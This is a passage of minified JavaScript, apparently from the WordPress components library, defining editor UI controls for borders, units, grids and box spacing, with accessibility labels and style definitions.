t.some((t=>t.colors.some((t=>t.color===e&&(n=t,!0))))),n}return t.find((t=>t.color===e))}})(_,o),k=((e,t,n,r)=>{if(r){if(t){const e=Xk(t.color);return n?(0,a.sprintf)((0,a.__)('Border color and style picker. The currently selected color is called "%1$s" and has a value of "%2$s". The currently selected style is "%3$s".'),t.name,e,n):(0,a.sprintf)((0,a.__)('Border color and style picker. The currently selected color is called "%1$s" and has a value of "%2$s".'),t.name,e)}if(e){const t=Xk(e);return n?(0,a.sprintf)((0,a.__)('Border color and style picker. The currently selected color has a value of "%1$s". The currently selected style is "%2$s".'),t,n):(0,a.sprintf)((0,a.__)('Border color and style picker. The currently selected color has a value of "%s".'),t)}return(0,a.__)("Border color and style picker.")}return t?(0,a.sprintf)((0,a.__)('Border color picker. The currently selected color is called "%1$s" and has a value of "%2$s".'),t.name,Xk(t.color)):e?(0,a.sprintf)((0,a.__)('Border color picker. The currently selected color has a value of "%s".'),Xk(e)):(0,a.__)("Border color picker.")})(_,C,S,l),j=_||S&&"none"!==S,E=n?"bottom left":void 0;return(0,_t.jsx)(W_,{renderToggle:({onToggle:e})=>(0,_t.jsx)(Jx,{onClick:e,variant:"tertiary","aria-label":k,tooltipPosition:E,label:(0,a.__)("Border color and style picker"),showTooltip:!0,__next40pxDefaultSize:"__unstable-large"===x,children:(0,_t.jsx)("span",{className:d,children:(0,_t.jsx)(F_,{className:u,colorValue:_})})}),renderContent:()=>(0,_t.jsx)(_t.Fragment,{children:(0,_t.jsxs)(xk,{paddingSize:"medium",children:[(0,_t.jsxs)(pk,{className:v,spacing:6,children:[(0,_t.jsx)(jk,{className:g,value:_,onChange:h,colors:o,disableCustomColors:i,__experimentalIsRenderedInSidebar:n,clearable:!1,enableAlpha:s}),l&&p&&(0,_t.jsx)(L_,{label:(0,a.__)("Style"),value:S,onChange:m})]}),(0,_t.jsx)("div",{className:b,children:(0,_t.jsx)(Jx,{variant:"tertiary",onClick:()=>{f()},disabled:!j,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,a.__)("Reset")})})]})}),popoverProps:{...y},...w,ref:t})}),"BorderControlDropdown"),Qk=Zk;const Jk=(0,c.forwardRef)((function({className:e,isUnitSelectTabbable:t=!0,onChange:n,size:r="default",unit:o="px",units:i=Wk,...a},l){if(!Kk(i)||1===i?.length)return(0,_t.jsx)(Nk,{className:"components-unit-control__unit-label",selectSize:r,children:o});const c=s("components-unit-control__select",e);return(0,_t.jsx)(Ik,{ref:l,className:c,onChange:e=>{const{value:t}=e.target,r=i.find((e=>e.value===t));n?.(t,{event:e,data:r})},selectSize:r,tabIndex:t?void 0:-1,value:o,...a,children:i.map((e=>(0,_t.jsx)("option",{value:e.value,children:e.label},e.value)))})}));const ej=(0,c.forwardRef)((function(e,t){const{__unstableStateReducer:n,autoComplete:r="off",children:o,className:i,disabled:l=!1,disableUnits:u=!1,isPressEnterToChange:d=!1,isResetValueOnUnitChange:p=!1,isUnitSelectTabbable:f=!0,label:h,onChange:m,onUnitChange:g,size:v="default",unit:b,units:x=Wk,value:y,onFocus:w,__shouldNotWarnDeprecated36pxSize:_,...S}=hb(e);Ux({componentName:"UnitControl",__next40pxDefaultSize:S.__next40pxDefaultSize,size:v,__shouldNotWarnDeprecated36pxSize:_}),"unit"in e&&Xi()("UnitControl unit prop",{since:"5.6",hint:"The unit should be provided within the `value` prop.",version:"6.2"});const C=null!=y?y:void 0,[k,j]=(0,c.useMemo)((()=>{const e=function(e,t,n=Hk){const r=Array.isArray(n)?[...n]:[],[,o]=Gk(e,t,Hk);return o&&!r.some((e=>e.value===o))&&$k[o]&&r.unshift($k[o]),r}(C,b,x),[{value:t=""}={},...n]=e,r=n.reduce(((e,{value:t})=>{const n=Iy(t?.substring(0,1)||"");return e.includes(n)?e:`${e}|${n}`}),Iy(t.substring(0,1)));return[e,new RegExp(`^(?:${r})$`,"i")]}),[C,b,x]),[E,P]=Gk(C,b,k),[N,T]=dS(1===k.length?k[0].value:b,{initial:P,fallback:""});(0,c.useEffect)((()=>{void 0!==P&&T(P)}),[P,T]);const I=s("components-unit-control","components-unit-control-wrapper",i);let R;!u&&f&&k.length&&(R=e=>{S.onKeyDown?.(e),e.metaKey||e.ctrlKey||!j.test(e.key)||M.current?.focus()});const M=(0,c.useRef)(null),A=u?null:(0,_t.jsx)(Jk,{ref:M,"aria-label":(0,a.__)("Select unit"),disabled:l,isUnitSelectTabbable:f,onChange:(e,t)=>{const{data:n}=t;let r=`${null!=E?E:""}${e}`;p&&void 0!==n?.default&&(r=`${n.default}${e}`),m?.(r,t),g?.(e,t),T(e)},size:["small","compact"].includes(v)||"default"===v&&!S.__next40pxDefaultSize?"small":"default",unit:N,units:k,onFocus:w,onBlur:e.onBlur});let D=S.step;if(!D&&k){var z;const e=k.find((e=>e.value===N));D=null!==(z=e?.step)&&void 0!==z?z:1}return(0,_t.jsx)(Ek,{...S,__shouldNotWarnDeprecated36pxSize:!0,autoComplete:r,className:I,disabled:l,spinControls:"none",isPressEnterToChange:d,label:h,onKeyDown:R,onChange:(e,t)=>{if(""===e||null==e)return void m?.("",t);const n=function(e,t,n,r){const[o,i]=qk(e,t),s=null!=o?o:n;let a=i||r;return!a&&Kk(t)&&(a=t[0].value),[s,a]}(e,k,E,N).join("");m?.(n,t)},ref:t,size:v,suffix:A,type:d?"text":"number",value:null!=E?E:"",step:D,onFocus:w,__unstableStateReducer:n})})),tj=ej,nj=e=>void 0!==e?.width&&""!==e.width||void 0!==e?.color;function rj(e){const{className:t,colors:n=[],isCompact:r,onChange:o,enableAlpha:i=!0,enableStyle:s=!0,shouldSanitizeBorder:a=!0,size:l="default",value:u,width:d,__experimentalIsRenderedInSidebar:p=!1,__next40pxDefaultSize:f,__shouldNotWarnDeprecated36pxSize:h,...m}=sl(e,"BorderControl");Ux({componentName:"BorderControl",__next40pxDefaultSize:f,size:l,__shouldNotWarnDeprecated36pxSize:h});const g="default"===l&&f?"__unstable-large":l,[v,b]=qk(u?.width),x=b||"px",y=0===v,[w,_]=(0,c.useState)(),[S,C]=(0,c.useState)(),k=!a||nj(u),j=(0,c.useCallback)((e=>{!a||nj(e)?o(e):o(void 0)}),[o,a]),E=(0,c.useCallback)((e=>{const t=""===e?void 0:e,[n]=qk(e),r=0===n,o={...u,width:t};r&&!y&&(_(u?.color),C(u?.style),o.color=void 0,o.style="none"),!r&&y&&(void 0===o.color&&(o.color=w),"none"===o.style&&(o.style=S)),j(o)}),[u,y,w,S,j]),P=(0,c.useCallback)((e=>{E(`${e}${x}`)}),[E,x]),N=il(),T=(0,c.useMemo)((()=>N(Mk,t)),[t,N]);let I=d;r&&(I="__unstable-large"===l?"116px":"90px");const R=(0,c.useMemo)((()=>{const e=!!I&&Ak,t=(e=>Nl("height:","__unstable-large"===e?"40px":"30px",";",""))(g);return N(Nl(Ek,"{flex:1 1 40%;}&& ",Ik,"{min-height:0;}",""),e,t)}),[I,N,g]),M=(0,c.useMemo)((()=>N(Nl("flex:1 1 60%;",Mg({marginRight:Il(3)})(),";",""))),[N]);return{...m,className:T,colors:n,enableAlpha:i,enableStyle:s,innerWrapperClassName:R,inputWidth:I,isStyleSettable:k,onBorderChange:j,onSliderChange:P,onWidthChange:E,previousStyleSelection:S,sliderClassName:M,value:u,widthUnit:x,widthValue:v,size:g,__experimentalIsRenderedInSidebar:p,__next40pxDefaultSize:f}}const oj=e=>{const{label:t,hideLabelFromVision:n}=e;return t?n?(0,_t.jsx)(Sl,{as:"legend",children:t}):(0,_t.jsx)(Ox,{as:"legend",children:t}):null},ij=al(((e,t)=>{const{__next40pxDefaultSize:n=!1,colors:r,disableCustomColors:o,disableUnits:i,enableAlpha:s,enableStyle:l,hideLabelFromVision:c,innerWrapperClassName:u,inputWidth:d,isStyleSettable:p,label:f,onBorderChange:h,onSliderChange:m,onWidthChange:g,placeholder:v,__unstablePopoverProps:b,previousStyleSelection:x,showDropdownHeader:y,size:w,sliderClassName:_,value:S,widthUnit:C,widthValue:k,withSlider:j,__experimentalIsRenderedInSidebar:E,...P}=rj(e);return(0,_t.jsxs)(_l,{as:"fieldset",...P,ref:t,children:[(0,_t.jsx)(oj,{label:f,hideLabelFromVision:c}),(0,_t.jsxs)(fy,{spacing:4,className:u,children:[(0,_t.jsx)(tj,{__next40pxDefaultSize:n,__shouldNotWarnDeprecated36pxSize:!0,prefix:(0,_t.jsx)(zg,{marginRight:1,marginBottom:0,children:(0,_t.jsx)(Qk,{border:S,colors:r,__unstablePopoverProps:b,disableCustomColors:o,enableAlpha:s,enableStyle:l,isStyleSettable:p,onChange:h,previousStyleSelection:x,__experimentalIsRenderedInSidebar:E,size:w})}),label:(0,a.__)("Border width"),hideLabelFromVision:!0,min:0,onChange:g,value:S?.width||"",placeholder:v,disableUnits:i,__unstableInputWidth:d,size:w}),j&&(0,_t.jsx)(ZS,{__nextHasNoMarginBottom:!0,label:(0,a.__)("Border width"),hideLabelFromVision:!0,className:_,initialPosition:0,max:100,min:0,onChange:m,step:["px","%"].includes(C)?1:.1,value:k||void 0,withInputField:!1,__next40pxDefaultSize:n,__shouldNotWarnDeprecated36pxSize:!0})]})]})}),"BorderControl"),sj=ij,aj={bottom:{alignItems:"flex-end",justifyContent:"center"},bottomLeft:{alignItems:"flex-start",justifyContent:"flex-end"},bottomRight:{alignItems:"flex-end",justifyContent:"flex-end"},center:{alignItems:"center",justifyContent:"center"},spaced:{alignItems:"center",justifyContent:"space-between"},left:{alignItems:"center",justifyContent:"flex-start"},right:{alignItems:"center",justifyContent:"flex-end"},stretch:{alignItems:"stretch"},top:{alignItems:"flex-start",justifyContent:"center"},topLeft:{alignItems:"flex-start",justifyContent:"flex-start"},topRight:{alignItems:"flex-start",justifyContent:"flex-end"}};function lj(e){const{align:t,alignment:n,className:r,columnGap:o,columns:i=2,gap:s=3,isInline:a=!1,justify:l,rowGap:u,rows:d,templateColumns:p,templateRows:f,...h}=sl(e,"Grid"),m=vg(Array.isArray(i)?i:[i]),g=vg(Array.isArray(d)?d:[d]),v=p||!!i&&`repeat( ${m}, 1fr )`,b=f||!!d&&`repeat( ${g}, 1fr )`,x=il();return{...h,className:(0,c.useMemo)((()=>{const e=function(e){return e?aj[e]:{}}(n),i=Nl({alignItems:t,display:a?"inline-grid":"grid",gap:`calc( ${Fl.gridBase} * ${s} )`,gridTemplateColumns:v||void 0,gridTemplateRows:b||void 0,gridRowGap:u,gridColumnGap:o,justifyContent:l,verticalAlign:a?"middle":void 0,...e},"","");return x(i,r)}),[t,n,r,o,x,s,v,b,a,l,u])}}const cj=al((function(e,t){const n=lj(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"Grid");function uj(e){const{className:t,colors:n=[],enableAlpha:r=!1,enableStyle:o=!0,size:i="default",__experimentalIsRenderedInSidebar:s=!1,...a}=sl(e,"BorderBoxControlSplitControls"),l=il(),u=(0,c.useMemo)((()=>l((e=>Nl("position:relative;flex:1;width:","__unstable-large"===e?void 0:"80%",";",""))(i),t)),[l,t,i]);return{...a,centeredClassName:(0,c.useMemo)((()=>l(Vw,t)),[l,t]),className:u,colors:n,enableAlpha:r,enableStyle:o,rightAlignedClassName:(0,c.useMemo)((()=>l(Nl(Mg({marginLeft:"auto"})(),";",""),t)),[l,t]),size:i,__experimentalIsRenderedInSidebar:s}}const dj=al(((e,t)=>{const{centeredClassName:n,colors:r,disableCustomColors:o,enableAlpha:i,enableStyle:s,onChange:u,popoverPlacement:d,popoverOffset:p,rightAlignedClassName:f,size:h="default",value:m,__experimentalIsRenderedInSidebar:g,...v}=uj(e),[b,x]=(0,c.useState)(null),y=(0,c.useMemo)((()=>d?{placement:d,offset:p,anchor:b,shift:!0}:void 0),[d,p,b]),w={colors:r,disableCustomColors:o,enableAlpha:i,enableStyle:s,isCompact:!0,__experimentalIsRenderedInSidebar:g,size:h,__shouldNotWarnDeprecated36pxSize:!0},_=(0,l.useMergeRefs)([x,t]);return(0,_t.jsxs)(cj,{...v,ref:_,gap:3,children:[(0,_t.jsx)(Uw,{value:m,size:h}),(0,_t.jsx)(sj,{className:n,hideLabelFromVision:!0,label:(0,a.__)("Top border"),onChange:e=>u(e,"top"),__unstablePopoverProps:y,value:m?.top,...w}),(0,_t.jsx)(sj,{hideLabelFromVision:!0,label:(0,a.__)("Left border"),onChange:e=>u(e,"left"),__unstablePopoverProps:y,value:m?.left,...w}),(0,_t.jsx)(sj,{className:f,hideLabelFromVision:!0,label:(0,a.__)("Right border"),onChange:e=>u(e,"right"),__unstablePopoverProps:y,value:m?.right,...w}),(0,_t.jsx)(sj,{className:n,hideLabelFromVision:!0,label:(0,a.__)("Bottom border"),onChange:e=>u(e,"bottom"),__unstablePopoverProps:y,value:m?.bottom,...w})]})}),"BorderBoxControlSplitControls"),pj=dj,fj=/^([\d.\-+]*)\s*(fr|cm|mm|Q|in|pc|pt|px|em|ex|ch|rem|lh|vw|vh|vmin|vmax|%|cap|ic|rlh|vi|vb|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx|svw|lvw|dvw|svh|lvh|dvh|svi|lvi|dvi|svb|lvb|dvb|svmin|lvmin|dvmin|svmax|lvmax|dvmax)?$/;const hj=["top","right","bottom","left"],mj=["color","style","width"],gj=e=>!e||!mj.some((t=>void 0!==e[t])),vj=e=>{if(!e)return!1;if(bj(e)){return!hj.every((t=>gj(e[t])))}return!gj(e)},bj=(e={})=>Object.keys(e).some((e=>-1!==hj.indexOf(e))),xj=e=>{if(!bj(e))return!1;const t=hj.map((t=>yj(e?.[t])));return!t.every((e=>e===t[0]))},yj=(e,t)=>{if(gj(e))return t;const{color:n,style:r,width:o}=t||{},{color:i=n,style:s=r,width:a=o}=e;return[a,!!a&&"0"!==a||!!i?s||"solid":s,i].filter(Boolean).join(" ")},wj=e=>function(e){if(0===e.length)return;const t={};let n,r=0;return e.forEach((e=>{t[e]=void 0===t[e]?1:t[e]+1,t[e]>r&&(n=e,r=t[e])})),n}(e.map((e=>void 0===e?void 0:function(e){const t=e.trim().match(fj);if(!t)return[void 0,void 0];const[,n,r]=t;let o=parseFloat(n);return o=Number.isNaN(o)?void 0:o,[o,r]}(`${e}`)[1])).filter((e=>void 0!==e)));function _j(e){const{className:t,colors:n=[],onChange:r,enableAlpha:o=!1,enableStyle:i=!0,size:s="default",value:a,__experimentalIsRenderedInSidebar:l=!1,__next40pxDefaultSize:u,...d}=sl(e,"BorderBoxControl");Ux({componentName:"BorderBoxControl",__next40pxDefaultSize:u,size:s});const p="default"===s&&u?"__unstable-large":s,f=xj(a),h=bj(a),m=h?(e=>{if(!e)return;const t=[],n=[],r=[];hj.forEach((o=>{t.push(e[o]?.color),n.push(e[o]?.style),r.push(e[o]?.width)}));const o=t.every((e=>e===t[0])),i=n.every((e=>e===n[0])),s=r.every((e=>e===r[0]));return{color:o?t[0]:void 0,style:i?n[0]:void 0,width:s?r[0]:wj(r)}})(a):a,g=h?a:(e=>{if(e&&!gj(e))return{top:e,right:e,bottom:e,left:e}})(a),v=!isNaN(parseFloat(`${m?.width}`)),[b,x]=(0,c.useState)(!f),y=il(),w=(0,c.useMemo)((()=>y(Lw,t)),[y,t]),_=(0,c.useMemo)((()=>y(Nl("flex:1;",Mg({marginRight:"24px"})(),";",""))),[y]),S=(0,c.useMemo)((()=>y(Fw)),[y]);return{...d,className:w,colors:n,disableUnits:f&&!v,enableAlpha:o,enableStyle:i,hasMixedBorders:f,isLinked:b,linkedControlClassName:_,onLinkedChange:e=>{if(!e)return r(void 0);if(!f||(t=e)&&mj.every((e=>void 0!==t[e])))return r(gj(e)?void 0:e);var t;const n=((e,t)=>{const n={};return e.color!==t.color&&(n.color=t.color),e.style!==t.style&&(n.style=t.style),e.width!==t.width&&(n.width=t.width),n})(m,e),o={top:{...a?.top,...n},right:{...a?.right,...n},bottom:{...a?.bottom,...n},left:{...a?.left,...n}};if(xj(o))return r(o);const i=gj(o.top)?void 0:o.top;r(i)},onSplitChange:(e,t)=>{const n={...g,[t]:e};xj(n)?r(n):r(e)},toggleLinked:()=>x(!b),linkedValue:m,size:p,splitValue:g,wrapperClassName:S,__experimentalIsRenderedInSidebar:l}}const Sj=e=>{const{label:t,hideLabelFromVision:n}=e;return t?n?(0,_t.jsx)(Sl,{as:"label",children:t}):(0,_t.jsx)(Ox,{children:t}):null},Cj=al(((e,t)=>{const{className:n,colors:r,disableCustomColors:o,disableUnits:i,enableAlpha:s,enableStyle:u,hasMixedBorders:d,hideLabelFromVision:p,isLinked:f,label:h,linkedControlClassName:m,linkedValue:g,onLinkedChange:v,onSplitChange:b,popoverPlacement:x,popoverOffset:y,size:w,splitValue:_,toggleLinked:S,wrapperClassName:C,__experimentalIsRenderedInSidebar:k,...j}=_j(e),[E,P]=(0,c.useState)(null),N=(0,c.useMemo)((()=>x?{placement:x,offset:y,anchor:E,shift:!0}:void 0),[x,y,E]),T=(0,l.useMergeRefs)([P,t]);return(0,_t.jsxs)(_l,{className:n,...j,ref:T,children:[(0,_t.jsx)(Sj,{label:h,hideLabelFromVision:p}),(0,_t.jsxs)(_l,{className:C,children:[f?(0,_t.jsx)(sj,{className:m,colors:r,disableUnits:i,disableCustomColors:o,enableAlpha:s,enableStyle:u,onChange:v,placeholder:d?(0,a.__)("Mixed"):void 0,__unstablePopoverProps:N,shouldSanitizeBorder:!1,value:g,withSlider:!0,width:"__unstable-large"===w?"116px":"110px",__experimentalIsRenderedInSidebar:k,__shouldNotWarnDeprecated36pxSize:!0,size:w}):(0,_t.jsx)(pj,{colors:r,disableCustomColors:o,enableAlpha:s,enableStyle:u,onChange:b,popoverPlacement:x,popoverOffset:y,value:_,__experimentalIsRenderedInSidebar:k,size:w}),(0,_t.jsx)(Hw,{onClick:S,isLinked:f,size:w})]})]})}),"BorderBoxControl"),kj=Cj,jj=(0,_t.jsxs)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,_t.jsx)(n.Path,{d:"m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z"}),(0,_t.jsx)(n.Path,{d:"m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z"})]}),Ej={px:{max:300,step:1},"%":{max:100,step:1},vw:{max:100,step:1},vh:{max:100,step:1},em:{max:10,step:.1},rm:{max:10,step:.1},svw:{max:100,step:1},lvw:{max:100,step:1},dvw:{max:100,step:1},svh:{max:100,step:1},lvh:{max:100,step:1},dvh:{max:100,step:1},vi:{max:100,step:1},svi:{max:100,step:1},lvi:{max:100,step:1},dvi:{max:100,step:1},vb:{max:100,step:1},svb:{max:100,step:1},lvb:{max:100,step:1},dvb:{max:100,step:1},vmin:{max:100,step:1},svmin:{max:100,step:1},lvmin:{max:100,step:1},dvmin:{max:100,step:1},vmax:{max:100,step:1},svmax:{max:100,step:1},lvmax:{max:100,step:1},dvmax:{max:100,step:1}},Pj={all:(0,a.__)("All sides"),top:(0,a.__)("Top side"),bottom:(0,a.__)("Bottom side"),left:(0,a.__)("Left side"),right:(0,a.__)("Right side"),vertical:(0,a.__)("Top and bottom sides"),horizontal:(0,a.__)("Left and right sides")},Nj={top:void 0,right:void 0,bottom:void 0,left:void 0},Tj=["top","right","bottom","left"];function Ij(e={},t=Tj){const n=Aj(t);return n.some((t=>e[t]!==e[n[0]]))}function Rj(e){return e&&Object.values(e).filter((e=>!!e&&/\d/.test(e))).length>0}function Mj(e,t){let n="all";return e||(n=t?"vertical":"top"),n}function Aj(e){const t=[];if(!e?.length)return Tj;if(e.includes("vertical"))t.push("top","bottom");else if(e.includes("horizontal"))t.push("left","right");else{const n=Tj.filter((t=>e.includes(t)));t.push(...n)}return t}function Dj(e,t,n){Xi()("applyValueToSides",{since:"6.8",version:"7.0"});const r={...e};return n?.length?n.forEach((e=>{"vertical"===e?(r.top=t,r.bottom=t):"horizontal"===e?(r.left=t,r.right=t):r[e]=t})):Tj.forEach((e=>r[e]=t)),r}function zj(e){const t=new Set(e?[]:Tj);return e?.forEach((e=>{"vertical"===e?(t.add("top"),t.add("bottom")):"horizontal"===e?(t.add("right"),t.add("left")):t.add(e)})),t}function Oj(e,t){return e.startsWith(`var:preset|${t}|`)}const Lj=yl("span",{target:"e1j5nr4z8"})({name:"1w884gc",styles:"box-sizing:border-box;display:block;width:24px;height:24px;position:relative;padding:4px"}),Fj=yl("span",{target:"e1j5nr4z7"})({name:"i6vjox",styles:"box-sizing:border-box;display:block;position:relative;width:100%;height:100%"}),Bj=({isFocused:e})=>Nl({backgroundColor:"currentColor",opacity:e?1:.3},"",""),Vj=yl("span",{target:"e1j5nr4z6"})("box-sizing:border-box;display:block;pointer-events:none;position:absolute;",Bj,";"),$j=yl(Vj,{target:"e1j5nr4z5"})({name:"1k2w39q",styles:"bottom:3px;top:3px;width:2px"}),Hj=yl(Vj,{target:"e1j5nr4z4"})({name:"1q9b07k",styles:"height:2px;left:3px;right:3px"}),Wj=yl(Hj,{target:"e1j5nr4z3"})({name:"abcix4",styles:"top:0"}),Uj=yl($j,{target:"e1j5nr4z2"})({name:"1wf8jf",styles:"right:0"}),Gj=yl(Hj,{target:"e1j5nr4z1"})({name:"8tapst",styles:"bottom:0"}),Kj=yl($j,{target:"e1j5nr4z0"})({name:"1ode3cm",styles:"left:0"});function qj({size:e=24,side:t="all",sides:n,...r}){const o=e=>!(e=>n?.length&&!n.includes(e))(e)&&("all"===t||t===e),i=o("top")||o("vertical"),s=o("right")||o("horizontal"),a=o("bottom")||o("vertical"),l=o("left")||o("horizontal"),c=e/24;return(0,_t.jsx)(Lj,{style:{transform:`scale(${c})`},...r,children:(0,_t.jsxs)(Fj,{children:[(0,_t.jsx)(Wj,{isFocused:i}),(0,_t.jsx)(Uj,{isFocused:s}),(0,_t.jsx)(Gj,{isFocused:a}),(0,_t.jsx)(Kj,{isFocused:l})]})})}const Yj=yl(tj,{target:"e1jovhle5"})({name:"1ejyr19",styles:"max-width:90px"}),Xj=yl(fy,{target:"e1jovhle4"})({name:"1j1lmoi",styles:"grid-column:1/span 3"}),Zj=yl(Jx,{target:"e1jovhle3"})({name:"tkya7b",styles:"grid-area:1/2;justify-self:end"}),Qj=yl("div",{target:"e1jovhle2"})({name:"1dfa8al",styles:"grid-area:1/3;justify-self:end"}),Jj=yl(qj,{target:"e1jovhle1"})({name:"ou8xsw",styles:"flex:0 0 auto"}),eE=yl(ZS,{target:"e1jovhle0"})("width:100%;margin-inline-end:",Il(2),";"),tE=()=>{};function nE(e,t,n){const r=zj(t);let o=[];switch(e){case"all":o=["top","bottom","left","right"];break;case"horizontal":o=["left","right"];break;case"vertical":o=["top","bottom"];break;default:o=[e]}if(n)switch(e){case"top":o.push("bottom");break;case"bottom":o.push("top");break;case"left":o.push("left");break;case"right":o.push("right")}return o.filter((e=>r.has(e)))}function rE({__next40pxDefaultSize:e,onChange:t=tE,onFocus:n=tE,values:r,selectedUnits:o,setSelectedUnits:i,sides:s,side:u,min:d=0,presets:p,presetKey:f,...h}){var m,g;const v=nE(u,s),b=e=>{t(e)},x=(e,t)=>{const n={...r},o=void 0!==e&&!isNaN(parseFloat(e))?e:void 0;nE(u,s,!!t?.event.altKey).forEach((e=>{n[e]=o})),b(n)},y=function(e={},t=Tj){const n=Aj(t);if(n.every((t=>e[t]===e[n[0]])))return e[n[0]]}(r,v),w=Rj(r),_=w&&v.length>1&&Ij(r,v),[S,C]=qk(y),k=w?C:o[v[0]],j=[(0,l.useInstanceId)(rE,"box-control-input"),u].join("-"),E=v.length>1&&void 0===y&&v.some((e=>o[e]!==k)),P=void 0===y&&k?k:y,N=_||E?(0,a.__)("Mixed"):void 0,T=p&&p.length>0&&f,I=T&&void 0!==y&&!_&&Oj(y,f),[R,M]=(0,c.useState)(!T||!I&&!_&&void 0!==y),A=I?function(e,t,n){if(!Oj(e,t))return;const r=e.match(new RegExp(`^var:preset\\|${t}\\|(.+)$`));if(!r)return;const o=r[1],i=n.findIndex((e=>e.slug===o));return-1!==i?i:void 0}(y,f,p):void 0,D=T?[{value:0,label:"",tooltip:(0,a.__)("None")}].concat(p.map(((e,t)=>{var n;return{value:t+1,label:"",tooltip:null!==(n=e.name)&&void 0!==n?n:e.slug}}))):[];return(0,_t.jsxs)(Xj,{expanded:!0,children:[(0,_t.jsx)(Jj,{side:u,sides:s}),R&&(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(ss,{placement:"top-end",text:Pj[u],children:(0,_t.jsx)(Yj,{...h,min:d,__shouldNotWarnDeprecated36pxSize:!0,__next40pxDefaultSize:e,className:"component-box-control__unit-control",id:j,isPressEnterToChange:!0,disableUnits:_||E,value:P,onChange:x,onUnitChange:e=>{const t={...o};v.forEach((n=>{t[n]=e})),i(t)},onFocus:e=>{n(e,{side:u})},label:Pj[u],placeholder:N,hideLabelFromVision:!0})}),(0,_t.jsx)(eE,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,"aria-controls":j,label:Pj[u],hideLabelFromVision:!0,onChange:e=>{x(void 0!==e?[e,k].join(""):void 0)},min:isFinite(d)?d:0,max:null!==(m=Ej[null!=k?k:"px"]?.max)&&void 0!==m?m:10,step:null!==(g=Ej[null!=k?k:"px"]?.step)&&void 0!==g?g:.1,value:null!=S?S:0,withInputField:!1})]}),T&&!R&&(0,_t.jsx)(eE,{__next40pxDefaultSize:!0,className:"spacing-sizes-control__range-control",value:void 0!==A?A+1:0,onChange:e=>{const t=0===e||void 0===e?void 0:function(e,t,n){return`var:preset|${t}|${n[e].slug}`}(e-1,f,p);(e=>{const t={...r};v.forEach((n=>{t[n]=e})),b(t)})(t)},withInputField:!1,"aria-valuenow":void 0!==A?A+1:0,"aria-valuetext":D[void 0!==A?A+1:0].tooltip,renderTooltipContent:e=>D[e||0].tooltip,min:0,max:D.length-1,marks:D,label:Pj[u],hideLabelFromVision:!0,__nextHasNoMarginBottom:!0}),T&&(0,_t.jsx)(Jx,{label:R?(0,a.__)("Use size preset"):(0,a.__)("Set custom size"),icon:jj,onClick:()=>{M(!R)},isPressed:R,size:"small",iconSize:24})]},`box-control-${u}`)}function oE({isLinked:e,...t}){const n=e?(0,a.__)("Unlink sides"):(0,a.__)("Link sides");return(0,_t.jsx)(Jx,{...t,className:"component-box-control__linked-button",size:"small",icon:e?zw:Ow,iconSize:24,label:n})}const iE={min:0},sE=()=>{};function aE({__next40pxDefaultSize:e=!1,id:t,inputProps:n=iE,onChange:r=sE,label:o=(0,a.__)("Box Control"),values:i,units:s,sides:u,splitOnAxis:d=!1,allowReset:p=!0,resetValues:f=Nj,presets:h,presetKey:m,onMouseOver:g,onMouseOut:v}){const[b,x]=dS(i,{fallback:Nj}),y=b||Nj,w=Rj(i),_=1===u?.length,[S,C]=(0,c.useState)(w),[k,j]=(0,c.useState)(!w||!Ij(y)||_),[E,P]=(0,c.useState)(Mj(k,d)),[N,T]=(0,c.useState)({top:qk(i?.top)[1],right:qk(i?.right)[1],bottom:qk(i?.bottom)[1],left:qk(i?.left)[1]}),I=function(e){const t=(0,l.useInstanceId)(aE,"inspector-box-control");return e||t}(t),R=`${I}-heading`,M={onMouseOver:g,onMouseOut:v,...n,onChange:e=>{r(e),x(e),C(!0)},onFocus:(e,{side:t})=>{P(t)},isLinked:k,units:s,selectedUnits:N,setSelectedUnits:T,sides:u,values:y,__next40pxDefaultSize:e,presets:h,presetKey:m};Ux({componentName:"BoxControl",__next40pxDefaultSize:e,size:void 0});const A=zj(u);if(h&&!m||!h&&m){}return(0,_t.jsxs)(cj,{id:I,columns:3,templateColumns:"1fr min-content min-content",role:"group","aria-labelledby":R,children:[(0,_t.jsx)(Hx.VisualLabel,{id:R,children:o}),k&&(0,_t.jsx)(Xj,{children:(0,_t.jsx)(rE,{side:"all",...M})}),!_&&(0,_t.jsx)(Qj,{children:(0,_t.jsx)(oE,{onClick:()=>{j(!k),P(Mj(!k,d))},isLinked:k})}),!k&&d&&["vertical","horizontal"].map((e=>(0,_t.jsx)(rE,{side:e,...M},e))),!k&&!d&&Array.from(A).map((e=>(0,_t.jsx)(rE,{side:e,...M},e))),p&&(0,_t.jsx)(Zj,{className:"component-box-control__reset-button",variant:"secondary",size:"small",onClick:()=>{r(f),x(f),T(f),C(!1)},disabled:!S,children:(0,a.__)("Reset")})]})}const lE=aE;const cE=(0,c.forwardRef)((function(e,t){const{className:n,__shouldNotWarnDeprecated:r,...o}=e,i=s("components-button-group",n);return r||Xi()("wp.components.ButtonGroup",{since:"6.8",alternative:"wp.components.__experimentalToggleGroupControl"}),(0,_t.jsx)("div",{ref:t,role:"group",className:i,...o})}));const uE={name:"12ip69d",styles:"background:transparent;display:block;margin:0!important;pointer-events:none;position:absolute;will-change:box-shadow"};function dE(e){return`0 ${e}px ${2*e}px 0\n\t${`rgba(0, 0, 0, ${e/20})`}`}const pE=al((function(e,t){const n=function(e){const{active:t,borderRadius:n="inherit",className:r,focus:o,hover:i,isInteractive:s=!1,offset:a=0,value:l=0,...u}=sl(e,"Elevation"),d=il();return{...u,className:(0,c.useMemo)((()=>{let e=Vg(i)?i:2*l,c=Vg(t)?t:l/2;s||(e=Vg(i)?i:void 0,c=Vg(t)?t:void 0);const u=`box-shadow ${Fl.transitionDuration} ${Fl.transitionTimingFunction}`,p={};return 